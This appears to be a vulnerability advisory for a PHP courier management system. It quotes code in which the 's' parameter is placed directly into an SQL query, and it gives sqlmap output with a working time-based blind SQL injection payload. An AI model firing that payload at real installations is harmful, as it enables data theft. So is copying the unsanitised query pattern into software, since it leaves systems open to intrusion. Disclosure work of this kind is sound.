SQL injection vulnerability exists in s parameter of parcel_list.php file of Best courier management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit index.php and get parameter is ‘page=parcel_list’,it will include parcel_list.php,and ‘s’ parameter can do sql injection.

```
53          $page = isset($_GET['page']) ? $_GET['page'] : 'home';
54          if(!file_exists($page.".php")){
55              include '404.html';
56          }else{
57          include $page.'.php';
58
59          }
60      ?>
```

Figure.1 index.php include parcel_list.php

```
26  if(isset($_GET['s'])){
27      $where = " where status = {$_GET['s']} ";
28  }
29  if($_SESSION['login_type'] != 1 ){
30      if(empty($where))
31          $where = " where ";
32      else
33          $where .= " and ";
34      $where .= " (from_branch_id = {$_SESSION['login_branch_id']} or to_branch_id = {$_SESSION['login_branch_id']}) ";
35  }
36  $qry = $conn->query("SELECT * from parcels $where order by  unix_timestamp(date_created) desc ");
37  while($row= $qry->fetch_assoc()):
38  ?>
39  <tr>
```

Figure.2 Sql injection in parcel_list.php

```
sqlmap identified the following injection point(s) with a total of 341 HTTP(s) requests:
---
Parameter: s (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=parcel_list&s=1 AND (SELECT 8262 FROM (SELECT(SLEEP(5)))tQBY)-- bljl
---
```

“

Parameter: s (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=parcel_list&s=1 AND (SELECT 8262 FROM (SELECT(SLEEP(5)))tQBY)-- bljl

---

“

Source Download：

https://www.sourcecodester.com/php/16848/best-courier-management-system-project-php.html